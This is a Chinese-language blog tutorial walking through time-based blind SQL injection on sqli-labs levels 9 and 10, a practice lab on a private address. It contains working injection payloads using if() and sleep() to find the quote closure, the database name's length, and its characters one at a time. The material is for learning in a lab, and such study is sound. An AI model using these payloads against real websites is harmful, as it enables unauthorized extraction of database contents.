延时盲注——sqli-labs第9、10关

目录

    • 使用场景
    • 第9关
        • 确认场景
        • 判断闭合符
        • 找到数据库名的长度
        • 将数据库名一个字母一个字母爆出来
        • …………
    • 第10关

使用场景

1.对时间函数敏感
2.前端不显示后端报错和查询结果传来的结果,同时也不根据后端传来的结果显示不同的内容。
一些资料说是:
2.后端报错和查询结果不返回到前端,对前端其他任何输入都不返回给前端不同的内容

至于是后端不返回,还是返回了前端不显示,有点搞不懂,希望有大佬看到能帮我扫盲

基本函数:

  1. if(var1,var2,var3)
    var1:条件
    var2:条件为真时返回的值
    var3:条件为假时返回的值

  2. sleep(var)
    暂停执行var秒,可以为小数

第9关

确认场景

首先确认场景,确定可以适用延时盲注
延时盲注——sqli-labs第9、10关_第1张图片

延时盲注——sqli-labs第9、10关_第2张图片

判断闭合符

  • 构造一个明显会延时的if()语句拼接到条件语句(where)后
  • 再依次尝试添加待确定的闭合符
  • 如果延时,则尝试的闭合符正确
    http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(3>2,sleep(3),1)--+

不加引号、加上双引号。都立马刷新,加上单引号后,延迟了3秒才刷新出来。说明闭合符是'单引号
延时盲注——sqli-labs第9、10关_第3张图片
3>2换成要查找的数据,这就是前面几关的布尔盲注了。

找到数据库名的长度

http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(length(database())>7,sleep(3),1)--+

延时盲注——sqli-labs第9、10关_第4张图片有8位。

将数据库名一个字母一个字母爆出来

http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>114,sleep(3),1)--+

延时盲注——sqli-labs第9、10关_第5张图片

http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>115,sleep(3),1)--+

延时盲注——sqli-labs第9、10关_第6张图片
大于114是正确的,大于115是错误的,说明是115。即为s

…………

后面的就和前几关的布尔盲注差不多了

第10关

同第9关,使用延时盲注

你可能感兴趣的:(sql注入,sql)